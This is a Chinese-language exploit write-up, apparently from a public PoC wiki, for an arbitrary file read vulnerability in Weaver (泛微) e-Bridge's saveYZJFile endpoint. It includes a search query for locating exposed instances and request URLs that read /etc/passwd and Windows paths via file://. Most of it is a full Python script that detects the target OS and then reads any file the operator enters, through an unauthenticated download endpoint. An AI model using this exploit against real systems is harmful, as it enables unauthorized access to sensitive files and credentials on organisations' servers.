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182 lines
7.1 KiB
Markdown
182 lines
7.1 KiB
Markdown
# 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
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## 漏洞描述
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泛微云桥（e-Bridge）是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞，攻击者成功利用该漏洞，可实现任意文件读取，获取敏感信息。
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## 漏洞影响
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```
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泛微云桥 e-Bridge 2018-2019 多个版本
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```
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## 网络测绘
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```
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title="泛微云桥e-Bridge"
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```
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## 漏洞复现
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分为两种，分别为 Windows 和 Linux
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### Windows
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访问 [**http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt**](http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt)
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成功返回 **id值**,说明含有此漏洞
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调用查看文件接口访问 **http://xxx.xxx.xxx.xxx/file/fileNoLogin/id值**
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### Linux
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访问 [**http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt**](http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt)
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成功返回 **id值**,说明含有此漏洞
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调用查看文件接口访问 **http://xxx.xxx.xxx.xxx/file/fileNoLogin/id值**
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## 漏洞POC
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注意读取Linux系统文件时，需要完整路径
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例如读取根目录下的 1.txt
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应为 /1.txt 而不是 1.txt
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 泛微云桥 e-Bridge \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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# 判断操作系统 or 判断漏洞是否可利用
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def POC_1(target_url):
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vuln_url_1 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt"
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vuln_url_2 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
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vuln_url_3 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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try:
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response_1 = requests.get(url=vuln_url_1, headers=headers, verify=False, timeout=10)
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response_2 = requests.get(url=vuln_url_2, headers=headers, verify=False, timeout=10)
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response_3 = requests.get(url=vuln_url_3, headers=headers, verify=False, timeout=10)
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if "无法验证您的身份" in response_1.text and "无法验证您的身份" in response_2.text:
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print("\033[31m[x] 漏洞已修复，不存在漏洞 \033[0m")
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sys.exit(0)
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else:
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if "No such file or directory" in response_1.text:
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print("\033[32m[o] 目标为 Linux 系统\033[0m")
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id = re.findall(r'"id":"(.*?)"', response_3.text)[0]
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print("\033[32m[o] 成功获取id：{}\033[0m".format(id))
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return id,"linux"
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elif "系统找不到指定的路径" in response_2.text:
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print("\033[32m[o] 目标为 Windows 系统\033[0m")
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id = re.findall(r'"id":"(.*?)"', response_1.text)[0]
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print("\033[32m[o] 成功获取id：{}\033[0m".format(id))
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return id,"windows"
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else:
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print("\033[31m[x] 无法获取目标系统\033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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# 验证漏洞
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def POC_2(target_url, id):
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file_url = target_url + "/file/fileNoLogin/{}".format(id)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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try:
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response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
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response.encoding = 'GBK'
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print("\033[32m[o] 成功读取：\n\033[0m{}".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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# windows 文件读取
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def POC_3(target_url, File):
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file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/{}&fileExt=txt".format(File)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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try:
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response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
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id = re.findall(r'"id":"(.*?)"', response.text)[0]
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print("\033[32m[o] 成功获取id：{}\033[0m".format(id))
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POC_2(target_url, id)
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except :
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print("\033[31m[x] 请求失败，无法读取文件 \033[0m)")
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# linux读取文件
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def POC_4(target_url, File):
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file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://{}&fileExt=txt".format(File)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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try:
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response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
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id = re.findall(r'"id":"(.*?)"', response.text)[0]
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print("\033[32m[o] 成功获取id：{}\033[0m".format(id))
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POC_2(target_url, id)
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except:
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print("\033[31m[x] 请求失败，无法读取文件 \033[0m)")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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id,system = POC_1(target_url)
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POC_2(target_url, id)
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while True:
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if system == "windows":
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File = input("\033[35mFile >>> \033[0m")
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if File == "exit":
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sys.exit(0)
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else:
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POC_3(target_url, File)
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if system == "linux":
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File = input("\033[35mFile >>> \033[0m")
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if File == "exit":
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sys.exit(0)
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else:
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POC_4(target_url, File)
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```
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